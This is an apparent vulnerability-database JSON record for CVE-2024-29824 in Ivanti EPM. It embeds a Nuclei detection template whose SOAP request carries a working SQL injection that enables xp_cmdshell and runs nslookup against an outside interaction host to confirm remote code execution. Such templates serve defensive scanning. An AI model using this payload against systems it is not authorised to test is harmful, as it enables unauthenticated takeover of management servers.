{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-29824/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-29824/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-29824/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-29824/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-29824/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-29824"},"sightings":{"href":"/api/v1/sightings/cve-2024-29824"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-29824.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-29824\n\ninfo:\n  name: Ivanti EPM - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.\n  impact: |\n    Attackers can execute arbitrary code on the Ivanti EPM server, leading to complete system compromise.\n  remediation: |\n    Apply security updates for Ivanti EPM that address CVE-2024-29824.\n  reference:\n    - https://github.com/horizon3ai/CVE-2024-29824\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-29824\n    - https://forums.ivanti.com/s/article/Security-Advisory-May-2024\n    - https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/\n  classification:\n    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.6\n    cve-id: CVE-2024-29824\n    epss-score: 0.99951\n    epss-percentile: 0.99974\n  metadata:\n    max-request: 1\n  tags: cve,cve2024,ivanti,epm,sqli,rce,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /WSStatusEvents/EventHandler.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/soap+xml\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <soap12:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\">\n          <soap12:Body>\n            <UpdateStatusEvents xmlns=\"http://tempuri.org/\">\n              <deviceID>string</deviceID>\n              <actions>\n                <Action name=\"string\" code=\"0\" date=\"0\" type=\"96\" user=\"string\" configguid=\"string\" location=\"string\">\n                  <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>\n                </Action>\n              </actions>\n            </UpdateStatusEvents>\n          </soap12:Body>\n        </soap12:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: content_type\n        words:\n          - 'application/soap+xml'\n\n      - type: word\n        part: body\n        words:\n          - 'UpdateStatusEventsResponse'\n\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022037d62b3d81fc07f6bc254bf539d1226063546fd7971e587d5b8dcffd491b24c5022100aea6c1e14f5ae67a8d11362c906a918ddaef13b9080f02a78e9fcd07369d858c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-29824"}